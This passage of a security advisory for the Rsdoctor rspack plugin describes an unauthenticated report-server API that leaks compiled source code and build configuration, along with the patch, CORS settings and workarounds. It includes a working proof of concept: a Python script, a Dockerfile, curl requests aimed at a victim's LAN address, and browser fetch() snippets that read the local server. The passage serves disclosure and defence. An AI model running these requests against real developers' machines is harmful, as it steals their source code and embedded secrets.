localhost,*.localhost,127.0.0.1, and[::1]. - Passing a partial CORS object preserves the default local-origin protection.
- HTTP requests are rejected when the request host is not allowed.
- The report WebSocket requires a per-server token.
- The report UI receives the tokenized socket URL through runtime report data and uses that URL to connect.
Upgrade Path
Upgrade Rsdoctor packages to the patched version:
pnpm add -D @rsdoctor/rspack-plugin@^1.5.16
Most users do not need additional configuration after upgrading.
CORS Configuration Behavior
The patched version aligns Rsdoctor's CORS behavior with a safer default model. In particular, partial CORS options no longer drop the default local-origin protection.
User configuration server.cors |
Effective CORS behavior |
|---|---|
undefined |
Enables CORS for default local origins only |
false |
Disables CORS middleware |
true |
Uses cors({}); effectively allows arbitrary origins and is not recommended |
{ credentials: true } |
Keeps default local origins and adds credentials: true |
{ origin: 'https://example.com' } |
Allows only the configured origin |
{ origin: '*' } |
Allows arbitrary origins and is not recommended |
{ origin: false } |
Does not set Access-Control-Allow-Origin |
{ origin: fn } |
Uses the custom origin function |
{ origin: /regex/ } |
Uses the custom regular expression |
Recommended configuration
For most users, leave server.cors unset:
new RsdoctorRspackPlugin();
If another local development frontend needs to access the report server, configure an exact origin:
new RsdoctorRspackPlugin({
server: {
cors: {
origin: 'http://localhost:3000',
credentials: true,
},
},
});
Avoid permissive CORS configuration:
new RsdoctorRspackPlugin({
server: {
cors: true,
},
});
new RsdoctorRspackPlugin({
server: {
cors: {
origin: '*',
},
},
});
These configurations explicitly opt out of the safer default CORS behavior.
Breaking Changes
The patched version intentionally tightens the report server's access model.
1. The report server is local-only by default
The report server is no longer intended to be accessed from arbitrary LAN hosts or remote machines by default.
If your workflow depended on opening the Rsdoctor report server from another device on the network, that workflow may stop working after upgrading. The recommended approach is to access the report from the same machine that started the build, or to use generated static report output instead of exposing the development report server.
2. Cross-origin access is restricted by default
Web pages from non-local origins can no longer read report server responses by default.
If you have a trusted local integration, configure the exact allowed origin through server.cors.origin.
3. Custom WebSocket clients must use the tokenized socket URL
The report WebSocket now requires a per-server token.
Custom clients must not construct the socket URL manually, for example:
new WebSocket('ws://localhost:<port>');
Instead, they must use the tokenized socket URL provided by the report runtime data.
4. server.cors: true remains an explicit opt-out
server.cors: true uses the default behavior of the cors middleware and is effectively permissive. This behavior is kept for compatibility, but it is not recommended for untrusted environments.
Workarounds
If upgrading immediately is not possible, users can reduce exposure by disabling the report server:
new RsdoctorRspackPlugin({
disableClientServer: true,
});
Additional mitigations:
- Do not expose the report server port to untrusted networks.
- Do not use
server.cors: true. - Do not use
server.cors.origin: '*'. - Run builds only in trusted local environments.
- Block external access to the report server port with firewall rules.
These workarounds do not fully address every attack path. Upgrading to a patched version is recommended.
Reproduction artifacts
Dockerfile
# Dockerfile for VULN-001 dynamic reproduction
# Vulnerability: Unauthenticated HTTP API exposes project source code
# Package: @rsdoctor/rspack-plugin@1.5.11
# Endpoint: POST /api/data/key (no auth required)
# CWE-200 / CVSS 7.5 High
FROM node:24-slim
# Install Python3 (for poc.py)
RUN apt-get update && \
apt-get install -y --no-install-recommends python3 && \
rm -rf /var/lib/apt/lists/*
# Install pnpm (version required by rsdoctor monorepo engine spec)
RUN corepack enable && corepack prepare pnpm@10.33.4 --activate
# ── Vulnerable project setup ──────────────────────────────────────────────────
WORKDIR /poc
# Minimal package.json
RUN echo '{"name":"rsdoctor-poc","version":"1.0.0","private":true}' > package.json
# Install the vulnerable plugin version and rspack peer dependency
RUN pnpm add -D \
"@rspack/core@^2.0.8" \
"@rspack/cli@^2.0.8" \
"@rsdoctor/rspack-plugin@1.5.11"
# Copy the project source tree (contains a secret marker)
COPY project/ /poc/
# Provide a stub xdg-open so the 'open' npm package does not trigger an
# uncaughtException (ENOENT) that would kill the Rsdoctor HTTP server before
# the PoC can connect.
RUN printf '#!/bin/sh\nexit 0\n' > /usr/bin/xdg-open && chmod +x /usr/bin/xdg-open
# ── PoC and entrypoint ────────────────────────────────────────────────────────
COPY poc.py /poc.py
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated HTTP API exposes project source code
via /api/data/key in @rsdoctor/rspack-plugin@1.5.11
Affected endpoint: POST /api/data/key
No authentication required. Sending {"key":"moduleCodeMap"} returns
the full source code of all compiled modules.
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
CVSS v3.1: 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
"""
import sys
import json
import urllib.request
import urllib.error
SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123"
REQUEST_TIMEOUT = 15
def exploit(port: int) -> bool:
"""
Send unauthenticated POST /api/data/key with key=moduleCodeMap.
Returns True if secret marker is found in the response (PASS).
"""
url = f"http://127.0.0.1:{port}/api/data/key"
print(f"[*] Target URL : {url}")
print(f"[*] Payload : {{\"key\": \"moduleCodeMap\"}}")
print(f"[*] Auth header : (none)")
print(f"[*] Secret text : {SECRET_MARKER}")
print()
payload = json.dumps({"key": "moduleCodeMap"}).encode("utf-8")
req = urllib.request.Request(
url,
data=payload,
headers={"Content-Type": "application/json"},
method="POST",
)
try:
with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp:
body = resp.read().decode("utf-8", errors="replace")
status = resp.status
except urllib.error.HTTPError as exc:
print(f"[-] HTTP error: {exc.code} {exc.reason}")
return False
except urllib.error.URLError as exc:
print(f"[-] Connection error: {exc.reason}")
return False
print(f"[+] HTTP status : {status}")
print(f"[+] Response size: {len(body):,} bytes")
if SECRET_MARKER in body:
print(f"[+] SECRET MARKER FOUND IN RESPONSE: {SECRET_MARKER!r}")
print()
# Show the surrounding context (first 300 chars around the marker)
idx = body.index(SECRET_MARKER)
start = max(0, idx - 100)
end = min(len(body), idx + len(SECRET_MARKER) + 100)
snippet = body[start:end].replace("\\n", "\n")
print(f"[+] Context around secret:")
print(f" ...{snippet}...")
print()
print("[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API")
return True
else:
print("[-] Secret marker NOT found in response")
print(f"[-] Response preview (first 500 bytes): {body[:500]!r}")
print("[FAIL] Could not confirm source code leakage")
return False
def probe_configs(port: int) -> None:
"""Secondary probe: check if build configs/paths are also exposed."""
url = f"http://127.0.0.1:{port}/api/data/key"
payload = json.dumps({"key": "configs"}).encode("utf-8")
req = urllib.request.Request(
url,
data=payload,
headers={"Content-Type": "application/json"},
method="POST",
)
try:
with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp:
body = resp.read().decode("utf-8", errors="replace")
print(f"[+] Secondary probe (key=configs) status: {resp.status}, size: {len(body):,} bytes")
except Exception as exc:
print(f"[*] Secondary probe (key=configs) failed: {exc}")
def main() -> None:
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <port>")
sys.exit(1)
try:
port = int(sys.argv[1])
except ValueError:
print(f"[-] Invalid port: {sys.argv[1]!r}")
sys.exit(1)
print("=" * 60)
print("VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak")
print("=" * 60)
success = exploit(port)
print()
probe_configs(port)
sys.exit(0 if success else 2)
if __name__ == "__main__":
main()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.15"
},
"package": {
"ecosystem": "npm",
"name": "@rsdoctor/rspack-plugin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61782"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-24T19:42:10Z",
"nvd_published_at": "2026-09-24T18:17:16Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe default Rsdoctor report HTTP server started by `@rsdoctor/rspack-plugin` binds to all network interfaces (`0.0.0.0`) and serves a `POST /api/data/key` endpoint with no authentication and wildcard CORS (`Access-Control-Allow-Origin: *`). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (`moduleCodeMap`), serialized build configuration (`configs`), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer.\n\n### Details\n\n**Root cause: server binds to all interfaces with no authentication and no key allowlist.**\n\nThe vulnerability is composed of four independently observable defects that together create a complete unauthenticated information-disclosure path:\n\n**1. Server binds to `0.0.0.0` (all interfaces)**\n\n`packages/utils/src/build/server.ts:107` calls `server.listen(port, callback)` without a `host` argument. Node.js defaults to `0.0.0.0`, exposing the server on every network interface of the developer\u0027s machine, including LAN interfaces.\n\n```ts\n// packages/utils/src/build/server.ts:83,107\nserver.listen(port, () =\u003e { // no host \u2192 0.0.0.0\n resolve(res);\n});\n```\n\n**2. Wildcard CORS enabled unconditionally**\n\n`packages/sdk/src/sdk/server/index.ts:106` applies `cors()` middleware with no origin restriction, and `:203\u2013204` additionally sets `Access-Control-Allow-Origin: *` explicitly on every API response, allowing cross-origin browser requests from any domain.\n\n```ts\n// packages/sdk/src/sdk/server/index.ts:106\nthis.app.use(cors());\n// :203\nres.setHeader(\u0027Access-Control-Allow-Origin\u0027, \u0027*\u0027);\nres.setHeader(\u0027Access-Control-Allow-Credentials\u0027, \u0027true\u0027);\n```\n\n**3. `POST /api/data/key` registered with no authentication middleware**\n\n`packages/sdk/src/sdk/server/apis/data.ts:6` registers the route via `@Router.post`. There is no authentication guard, token check, or session validation anywhere in the middleware chain.\n\n```ts\n// packages/sdk/src/sdk/server/apis/data.ts:6,13,29\n@Router.post(SDK.ServerAPI.API.LoadDataByKey)\npublic async loadDataByKey() {\n let { key } = req.body as SDK.ServerAPI.InferRequestBodyType\u003cSDK.ServerAPI.API.LoadDataByKey\u003e;\n const data = await this.loadData(key);\n return data;\n}\n```\n\n**4. `key` is passed to `getStoreData()` without an allowlist**\n\n`packages/sdk/src/sdk/server/apis/base.ts:29\u201339` indexes the entire SDK data store directly using the attacker-controlled `key`, including dot-path traversal for nested keys.\n\n```ts\n// packages/sdk/src/sdk/server/apis/base.ts:29,33,35-36\nconst data = this.ctx.sdk.getStoreData();\nlet res = data[key];\nif (key.includes(sep)) {\n res = key.split(sep).reduce((t, k) =\u003e t[k], data);\n}\nreturn res;\n```\n\n**Source-to-sink data flow:**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `packages/rspack-plugin/src/plugin.ts:111` | Plugin bootstraps the SDK server during build |\n| 2 | `packages/core/src/inner-plugins/utils/config.ts:98,110\u2013115` | `disableClientServer` defaults to `false`; server starts in all non-CI builds |\n| 3 | `packages/utils/src/build/server.ts:83,107` | HTTP server created and bound to `0.0.0.0` |\n| 4 | `packages/sdk/src/sdk/server/index.ts:106,203` | Wildcard CORS applied unconditionally |\n| 5 | `packages/sdk/src/sdk/server/apis/data.ts:6,13,29` | Attacker `key` accepted from request body |\n| 6 | `packages/sdk/src/sdk/server/apis/base.ts:29,36,39` | `key` indexes `sdk.getStoreData()` with no allowlist |\n| 7 | `packages/sdk/src/sdk/sdk/index.ts:487,491` | `moduleCodeMap` getter calls `_moduleGraph.toCodeData()` |\n| 8 | `packages/graph/src/graph/module-graph/graph.ts:464\u2013469` | `toCodeData()` returns all module source objects |\n| 9 | `packages/graph/src/graph/module-graph/module.ts:248\u2013250` | Each module exposes `source`, `transformed`, and `parsedSource` |\n| 10 | `packages/sdk/src/sdk/server/router.ts:119,125` | Serialized result written to HTTP response |\n\n**Default configuration ensures source code is captured:**\n\n`packages/core/src/inner-plugins/utils/config.ts` shows that `noModuleSource`, `noAssetsAndModuleSource`, and `noCode` all default to `false`, causing `normalizeReportType` to return `SDK.ToDataType.Normal`. This means module source code is stored in the SDK data store by default and retrievable via the `moduleCodeMap` key.\n\n### PoC\n#### Original PoC\n**Environment setup:**\n\n```bash\n# Create and enter a temporary project directory\nmkdir /tmp/rsdoctor-poc \u0026\u0026 cd /tmp/rsdoctor-poc\npnpm init\n\n# Install the vulnerable version\npnpm add -D @rspack/core@^2.0.8 @rspack/cli@^2.0.8 @rsdoctor/rspack-plugin@1.5.11\n\n# Create a source file embedding a secret\nmkdir src\ncat \u003e src/index.js \u003c\u003c\u0027EOF\u0027\nconst INTERNAL_API_KEY = \u0027rsdoctor-secret-marker-123\u0027;\nconsole.log(INTERNAL_API_KEY);\nEOF\n\n# Create rspack config with the Rsdoctor plugin (default settings)\ncat \u003e rspack.config.js \u003c\u003c\u0027EOF\u0027\nconst { RsdoctorRspackPlugin } = require(\u0027@rsdoctor/rspack-plugin\u0027);\nmodule.exports = {\n mode: \u0027development\u0027,\n entry: \u0027./src/index.js\u0027,\n output: { path: __dirname + \u0027/dist\u0027, filename: \u0027bundle.js\u0027 },\n plugins: [new RsdoctorRspackPlugin()]\n};\nEOF\n\n# Run rspack \u2014 the Rsdoctor HTTP server starts automatically\npnpm rspack -c rspack.config.js\n# Note the printed port, e.g.: http://\u003clan-ip\u003e:3717/index.html\n```\n\n**Exploit (from any host on the same LAN, no authentication):**\n\n```bash\n# Primary probe: exfiltrate all module source code\ncurl -s \"http://\u003cvictim-lan-ip\u003e:\u003cport\u003e/api/data/key\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"key\":\"moduleCodeMap\"}\u0027\n# Response: full source code of every compiled module, including secrets\n```\n\n**Expected response (excerpt):**\n\n```json\n{\n \"...\": \"...\",\n \"source\": \"const INTERNAL_API_KEY = \u0027rsdoctor-secret-marker-123\u0027;\\nconsole.log(INTERNAL_API_KEY);\\n\",\n \"...\": \"...\"\n}\n```\n\n**Secondary probe: exfiltrate build configuration and local paths:**\n\n```bash\ncurl -s \"http://\u003cvictim-lan-ip\u003e:\u003cport\u003e/api/data/key\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"key\":\"configs\"}\u0027\n# Response: 9,278 bytes of serialized build configuration including absolute file paths\n```\n\n**Automated PoC (Docker-based, self-contained reproduction):**\n\nThe Docker-based reproduction builds and starts the vulnerable project inside a container, then executes `poc.py` to confirm source code exfiltration. The PoC embeds the marker string `rsdoctor-vuln-001-secret-EXFIL-abc123` in the compiled source and asserts its presence in the unauthenticated API response:\n\n```\n============================================================\nVULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak\n============================================================\n[*] Detected Rsdoctor server on port: 3717 (after 3s)\n[*] Running PoC exploit against http://127.0.0.1:3717 ...\n[*] Target URL : http://127.0.0.1:3717/api/data/key\n[*] Payload : {\"key\": \"moduleCodeMap\"}\n[*] Auth header : (none)\n[+] HTTP status : 200\n[+] Response size: 738 bytes\n[+] SECRET MARKER FOUND IN RESPONSE: \u0027rsdoctor-vuln-001-secret-EXFIL-abc123\u0027\n[+] Context around secret:\n ...NEVER be able to read this content via an unauthenticated HTTP API.\nconst RSDOCTOR_SECRET_MARKER = \"rsdoctor-vuln-001-secret-EXFIL-abc123\";\nconsole.log(RSDOCTOR_SECRET_MARKER);\nmodule.exports = { secret: RSDOCTOR_SECRET_MARKER };\n...\n[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API\n[+] Secondary probe (key=configs) status: 200, size: 9,278 bytes\n```\n\n**Recommended patch:**\n\n```diff\n--- a/packages/utils/src/build/server.ts\n+++ b/packages/utils/src/build/server.ts\n-export async function createServer(port: number): Promise\u003c{\n+export async function createServer(\n+ port: number,\n+ host = \u0027127.0.0.1\u0027,\n+): Promise\u003c{\n- server.listen(port, () =\u003e {\n+ server.listen(port, host, () =\u003e {\n resolve(res);\n });\n```\n\n```diff\n--- a/packages/sdk/src/sdk/server/index.ts\n+++ b/packages/sdk/src/sdk/server/index.ts\n public get host(): string {\n- const host = getLocalIpAddress();\n- return host;\n+ return \u0027127.0.0.1\u0027;\n }\n- this._server = await Server.createServer(port);\n+ this._server = await Server.createServer(port, this.host);\n- this.app.use(cors());\n- res.setHeader(\u0027Access-Control-Allow-Origin\u0027, \u0027*\u0027);\n- res.setHeader(\u0027Access-Control-Allow-Credentials\u0027, \u0027true\u0027);\n```\n\n#### Minimal browser-based PoC\n\nA malicious website can also attempt to read data from a local Rsdoctor report server by sending a browser request to `127.0.0.1` or `localhost`.\n\n```js\nfetch(\u0027http://127.0.0.1:\u003crsdoctor-port\u003e/api/data/key\u0027, {\n method: \u0027POST\u0027,\n headers: {\n \u0027Content-Type\u0027: \u0027application/json\u0027,\n },\n body: JSON.stringify({\n key: \u0027moduleCodeMap\u0027,\n }),\n})\n .then((res) =\u003e res.json())\n .then(console.log);\n```\n\nIf the report server is reachable over the local network, an attacker may also target the victim machine\u0027s LAN address:\n\n```js\nfetch(\u0027http://\u003cvictim-lan-ip\u003e:\u003crsdoctor-port\u003e/api/data/key\u0027, {\n method: \u0027POST\u0027,\n headers: {\n \u0027Content-Type\u0027: \u0027application/json\u0027,\n },\n body: JSON.stringify({\n key: \u0027moduleCodeMap\u0027,\n }),\n})\n .then((res) =\u003e res.json())\n .then(console.log);\n```\n\nIn affected versions, the response may contain sensitive build metadata or compiled module source code.\n\n### Impact\n\nThis is an **unauthenticated remote information disclosure** vulnerability. Any attacker who can reach the developer\u0027s machine over the network (LAN, VPN, shared Wi-Fi, corporate network) can retrieve:\n\n- **Full JavaScript source code** of every module compiled during the build, including any secrets, API keys, or proprietary business logic embedded in the source (`moduleCodeMap`)\n- **Serialized build configuration**, including absolute local file paths, resolver settings, and plugin configurations (`configs`)\n- **Build errors** that may contain stack traces with internal paths (`errors`)\n- **Environment information** (`envinfo`)\n\nThe server is started automatically whenever a developer runs a build with the Rsdoctor plugin outside of a CI environment (`disableClientServer` defaults to `false`). No user interaction or special configuration is required from the victim. A single unauthenticated HTTP POST request is sufficient to exfiltrate all module source code.\n\nImpacted parties include individual developers and organizations whose developers run Rsdoctor on machines connected to any shared or semi-trusted network, and any CI system that runs Rsdoctor in a non-CI-detected environment.\n\n### Patched Behavior\n\nThe patched version changes the report server\u0027s default security model:\n\n- The report server binds to `127.0.0.1` by default.\n- Default CORS no longer allows arbitrary origins.\n- Default CORS only allows local origins such as `localhost`, `*.localhost`, `127.0.0.1`, and `[::1]`.\n- Passing a partial CORS object preserves the default local-origin protection.\n- HTTP requests are rejected when the request host is not allowed.\n- The report WebSocket requires a per-server token.\n- The report UI receives the tokenized socket URL through runtime report data and uses that URL to connect.\n\n### Upgrade Path\n\nUpgrade Rsdoctor packages to the patched version:\n\n```bash\npnpm add -D @rsdoctor/rspack-plugin@^1.5.16\n```\n\nMost users do not need additional configuration after upgrading.\n\n### CORS Configuration Behavior\n\nThe patched version aligns Rsdoctor\u0027s CORS behavior with a safer default model. In particular, partial CORS options no longer drop the default local-origin protection.\n\n| User configuration `server.cors` | Effective CORS behavior |\n| --- | --- |\n| `undefined` | Enables CORS for default local origins only |\n| `false` | Disables CORS middleware |\n| `true` | Uses `cors({})`; effectively allows arbitrary origins and is not recommended |\n| `{ credentials: true }` | Keeps default local origins and adds `credentials: true` |\n| `{ origin: \u0027https://example.com\u0027 }` | Allows only the configured origin |\n| `{ origin: \u0027*\u0027 }` | Allows arbitrary origins and is not recommended |\n| `{ origin: false }` | Does not set `Access-Control-Allow-Origin` |\n| `{ origin: fn }` | Uses the custom origin function |\n| `{ origin: /regex/ }` | Uses the custom regular expression |\n\n#### Recommended configuration\n\nFor most users, leave `server.cors` unset:\n\n```js\nnew RsdoctorRspackPlugin();\n```\n\nIf another local development frontend needs to access the report server, configure an exact origin:\n\n```js\nnew RsdoctorRspackPlugin({\n server: {\n cors: {\n origin: \u0027http://localhost:3000\u0027,\n credentials: true,\n },\n },\n});\n```\n\nAvoid permissive CORS configuration:\n\n```js\nnew RsdoctorRspackPlugin({\n server: {\n cors: true,\n },\n});\n```\n\n```js\nnew RsdoctorRspackPlugin({\n server: {\n cors: {\n origin: \u0027*\u0027,\n },\n },\n});\n```\n\nThese configurations explicitly opt out of the safer default CORS behavior.\n\n### Breaking Changes\n\nThe patched version intentionally tightens the report server\u0027s access model.\n\n#### 1. The report server is local-only by default\n\nThe report server is no longer intended to be accessed from arbitrary LAN hosts or remote machines by default.\n\nIf your workflow depended on opening the Rsdoctor report server from another device on the network, that workflow may stop working after upgrading. The recommended approach is to access the report from the same machine that started the build, or to use generated static report output instead of exposing the development report server.\n\n#### 2. Cross-origin access is restricted by default\n\nWeb pages from non-local origins can no longer read report server responses by default.\n\nIf you have a trusted local integration, configure the exact allowed origin through `server.cors.origin`.\n\n#### 3. Custom WebSocket clients must use the tokenized socket URL\n\nThe report WebSocket now requires a per-server token.\n\nCustom clients must not construct the socket URL manually, for example:\n\n```js\nnew WebSocket(\u0027ws://localhost:\u003cport\u003e\u0027);\n```\n\nInstead, they must use the tokenized socket URL provided by the report runtime data.\n\n#### 4. `server.cors: true` remains an explicit opt-out\n\n`server.cors: true` uses the default behavior of the `cors` middleware and is effectively permissive. This behavior is kept for compatibility, but it is not recommended for untrusted environments.\n\n## Workarounds\n\nIf upgrading immediately is not possible, users can reduce exposure by disabling the report server:\n\n```js\nnew RsdoctorRspackPlugin({\n disableClientServer: true,\n});\n```\n\nAdditional mitigations:\n\n- Do not expose the report server port to untrusted networks.\n- Do not use `server.cors: true`.\n- Do not use `server.cors.origin: \u0027*\u0027`.\n- Run builds only in trusted local environments.\n- Block external access to the report server port with firewall rules.\n\nThese workarounds do not fully address every attack path. Upgrading to a patched version is recommended.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 dynamic reproduction\n# Vulnerability: Unauthenticated HTTP API exposes project source code\n# Package: @rsdoctor/rspack-plugin@1.5.11\n# Endpoint: POST /api/data/key (no auth required)\n# CWE-200 / CVSS 7.5 High\n\nFROM node:24-slim\n\n# Install Python3 (for poc.py)\nRUN apt-get update \u0026\u0026 \\\n apt-get install -y --no-install-recommends python3 \u0026\u0026 \\\n rm -rf /var/lib/apt/lists/*\n\n# Install pnpm (version required by rsdoctor monorepo engine spec)\nRUN corepack enable \u0026\u0026 corepack prepare pnpm@10.33.4 --activate\n\n# \u2500\u2500 Vulnerable project setup \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWORKDIR /poc\n\n# Minimal package.json\nRUN echo \u0027{\"name\":\"rsdoctor-poc\",\"version\":\"1.0.0\",\"private\":true}\u0027 \u003e package.json\n\n# Install the vulnerable plugin version and rspack peer dependency\nRUN pnpm add -D \\\n \"@rspack/core@^2.0.8\" \\\n \"@rspack/cli@^2.0.8\" \\\n \"@rsdoctor/rspack-plugin@1.5.11\"\n\n# Copy the project source tree (contains a secret marker)\nCOPY project/ /poc/\n\n# Provide a stub xdg-open so the \u0027open\u0027 npm package does not trigger an\n# uncaughtException (ENOENT) that would kill the Rsdoctor HTTP server before\n# the PoC can connect.\nRUN printf \u0027#!/bin/sh\\nexit 0\\n\u0027 \u003e /usr/bin/xdg-open \u0026\u0026 chmod +x /usr/bin/xdg-open\n\n# \u2500\u2500 PoC and entrypoint \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCOPY poc.py /poc.py\nCOPY entrypoint.sh /entrypoint.sh\nRUN chmod +x /entrypoint.sh\n\nENTRYPOINT [\"/entrypoint.sh\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated HTTP API exposes project source code\nvia /api/data/key in @rsdoctor/rspack-plugin@1.5.11\n\nAffected endpoint: POST /api/data/key\nNo authentication required. Sending {\"key\":\"moduleCodeMap\"} returns\nthe full source code of all compiled modules.\n\nCWE-200: Exposure of Sensitive Information to an Unauthorized Actor\nCVSS v3.1: 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\"\"\"\nimport sys\nimport json\nimport urllib.request\nimport urllib.error\n\nSECRET_MARKER = \"rsdoctor-vuln-001-secret-EXFIL-abc123\"\nREQUEST_TIMEOUT = 15\n\n\ndef exploit(port: int) -\u003e bool:\n \"\"\"\n Send unauthenticated POST /api/data/key with key=moduleCodeMap.\n Returns True if secret marker is found in the response (PASS).\n \"\"\"\n url = f\"http://127.0.0.1:{port}/api/data/key\"\n print(f\"[*] Target URL : {url}\")\n print(f\"[*] Payload : {{\\\"key\\\": \\\"moduleCodeMap\\\"}}\")\n print(f\"[*] Auth header : (none)\")\n print(f\"[*] Secret text : {SECRET_MARKER}\")\n print()\n\n payload = json.dumps({\"key\": \"moduleCodeMap\"}).encode(\"utf-8\")\n req = urllib.request.Request(\n url,\n data=payload,\n headers={\"Content-Type\": \"application/json\"},\n method=\"POST\",\n )\n\n try:\n with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp:\n body = resp.read().decode(\"utf-8\", errors=\"replace\")\n status = resp.status\n except urllib.error.HTTPError as exc:\n print(f\"[-] HTTP error: {exc.code} {exc.reason}\")\n return False\n except urllib.error.URLError as exc:\n print(f\"[-] Connection error: {exc.reason}\")\n return False\n\n print(f\"[+] HTTP status : {status}\")\n print(f\"[+] Response size: {len(body):,} bytes\")\n\n if SECRET_MARKER in body:\n print(f\"[+] SECRET MARKER FOUND IN RESPONSE: {SECRET_MARKER!r}\")\n print()\n # Show the surrounding context (first 300 chars around the marker)\n idx = body.index(SECRET_MARKER)\n start = max(0, idx - 100)\n end = min(len(body), idx + len(SECRET_MARKER) + 100)\n snippet = body[start:end].replace(\"\\\\n\", \"\\n\")\n print(f\"[+] Context around secret:\")\n print(f\" ...{snippet}...\")\n print()\n print(\"[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API\")\n return True\n else:\n print(\"[-] Secret marker NOT found in response\")\n print(f\"[-] Response preview (first 500 bytes): {body[:500]!r}\")\n print(\"[FAIL] Could not confirm source code leakage\")\n return False\n\n\ndef probe_configs(port: int) -\u003e None:\n \"\"\"Secondary probe: check if build configs/paths are also exposed.\"\"\"\n url = f\"http://127.0.0.1:{port}/api/data/key\"\n payload = json.dumps({\"key\": \"configs\"}).encode(\"utf-8\")\n req = urllib.request.Request(\n url,\n data=payload,\n headers={\"Content-Type\": \"application/json\"},\n method=\"POST\",\n )\n try:\n with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp:\n body = resp.read().decode(\"utf-8\", errors=\"replace\")\n print(f\"[+] Secondary probe (key=configs) status: {resp.status}, size: {len(body):,} bytes\")\n except Exception as exc:\n print(f\"[*] Secondary probe (key=configs) failed: {exc}\")\n\n\ndef main() -\u003e None:\n if len(sys.argv) != 2:\n print(f\"Usage: {sys.argv[0]} \u003cport\u003e\")\n sys.exit(1)\n\n try:\n port = int(sys.argv[1])\n except ValueError:\n print(f\"[-] Invalid port: {sys.argv[1]!r}\")\n sys.exit(1)\n\n print(\"=\" * 60)\n print(\"VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak\")\n print(\"=\" * 60)\n\n success = exploit(port)\n print()\n probe_configs(port)\n\n sys.exit(0 if success else 2)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-jmg2-rcxh-w8q3",
"modified": "2026-09-24T19:42:10Z",
"published": "2026-09-24T19:42:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/web-infra-dev/rsdoctor/security/advisories/GHSA-jmg2-rcxh-w8q3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61782"
},
{
"type": "WEB",
"url": "https://github.com/web-infra-dev/rsdoctor/pull/1744"
},
{
"type": "WEB",
"url": "https://github.com/web-infra-dev/rsdoctor/pull/1758"
},
{
"type": "WEB",
"url": "https://github.com/web-infra-dev/rsdoctor/commit/602eb306a49b6d19c4c1ea9d8ee0f8caab9e208f"
},
{
"type": "WEB",
"url": "https://github.com/web-infra-dev/rsdoctor/commit/e9aaef21f85becfe43a46f716509f41ea5edeb40"
},
{
"type": "PACKAGE",
"url": "https://github.com/web-infra-dev/rsdoctor"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "@rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata"
}
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-116: Excavation
An adversary actively probes the target in a manner that is designed to solicit information that could be leveraged for malicious purposes.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-169: Footprinting
An adversary engages in probing and exploration activities to identify constituents and properties of the target.
CAPEC-22: Exploiting Trust in Client
